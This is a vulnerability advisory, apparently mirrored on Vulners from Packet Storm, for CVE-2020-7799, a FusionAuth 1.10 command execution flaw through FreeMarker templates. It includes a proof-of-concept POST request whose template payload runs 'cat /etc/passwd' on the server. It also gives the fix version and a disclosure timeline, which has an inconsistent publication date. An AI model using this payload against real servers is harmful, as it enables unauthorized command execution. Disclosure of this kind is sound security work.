Lucene search
K

FusionAuth 1.10 Remote Command Execution

🗓️ 27 Jan 2020 00:00:00Reported by Gianluca BaldiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 120 Views

FusionAuth 1.10 Remote Command Execution via Apache Freemarker Template on Windows and Ubunt

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FusionAuth 1.10 Remote Command Execution Vulnerability
29 Jan 202000:00
zdt
Circl
CVE-2020-7799
28 Jan 202016:37
circl
Check Point Advisories
FusionAuth Command Injection (CVE-2020-7799)
18 Nov 202000:00
checkpoint_advisories
CVE
CVE-2020-7799
28 Jan 202012:46
cve
Cvelist
CVE-2020-7799
28 Jan 202012:46
cvelist
NVD
CVE-2020-7799
28 Jan 202013:15
nvd
Prion
Design/Logic Flaw
28 Jan 202013:15
prion
RedhatCVE
CVE-2020-7799
22 May 202517:53
redhatcve
`@Mediaservice.net Security Advisory #2020-03 (last updated on 2020-01-27)  
  
Title: FusionAuth command execution via Apache Freemarker Template  
Application: FusionAuth 1.10 and lower  
Platforms: Tested on Windows 10 and Ubuntu 19.10  
Description: An authenticated attacker with enough privileges to access the  
template editing functions (either site templates or e-mail  
templates) in the FusionAuth dashboard can execute commands on  
the underlying operating system using the Apache FreeMarker  
Expression language.   
Author: Gianluca Baldi <[email protected]>  
Vendor Status: https://fusionauth.io/contact - notified on 2019-10-24  
CVE Name: CVE-2020-7799  
References: https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt  
https://fusionauth.io/  
https://freemarker.apache.org/  
https://www.mediaservice.net/  
  
1. Abstract.  
  
FusionAuth is a modern Access Management open source application, that can be  
integrated with multiple technologies and platforms. FusionAuth can be  
configured and customized in many ways from the administration dashboard and to  
do so privileged acounts can modify templates.  
  
FusionAuth Templates are in fact Apache Freemarker Templates, that are  
interpreted by the Apache Freemarker Templates Engine. Since it is possible to  
execute system commands using the Apache Freemarker Expression language,  
template editing features can be abused to execute remote commands effectively,  
using the "freemarker.template.utility.Execute" object.  
  
2. Affected Platforms.  
  
This vulnerability is platform-independent.  
  
3. Fix.  
  
This vulnerability has been fixed in version 1.11 of FusionAuth.  
  
4. Proof of Concept.  
  
Example POST request (Home -> Settings -> Email Templates -> Preview):  
  
POST /ajax/email/template/preview HTTP/1.1  
Host: 192.168.0.3:9011  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0  
Accept: */*  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 796  
DNT: 1  
Connection: close  
Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b  
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;   
  
primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}  
  
5. Disclosure Timeline  
  
2019-10-23 - First contact (issue in FusionAuth 1.9.1).  
2019-10-24 - First PoC sent to the vendor.  
2019-10-25 - Vendor investigates the issue.  
2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23).  
2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0).  
2020-01-20 - Asked for updates on issue.  
2020-01-20 - Vendor states that the issue has been fixed already.  
2020-01-22 - Assigned CVE-2020-7799.  
2019-02-27 - Advisory published.  
  
Copyright (c) 2020 Gianluca Baldi and @Mediaservice.net. All rights reserved.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jan 2020 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.74455
120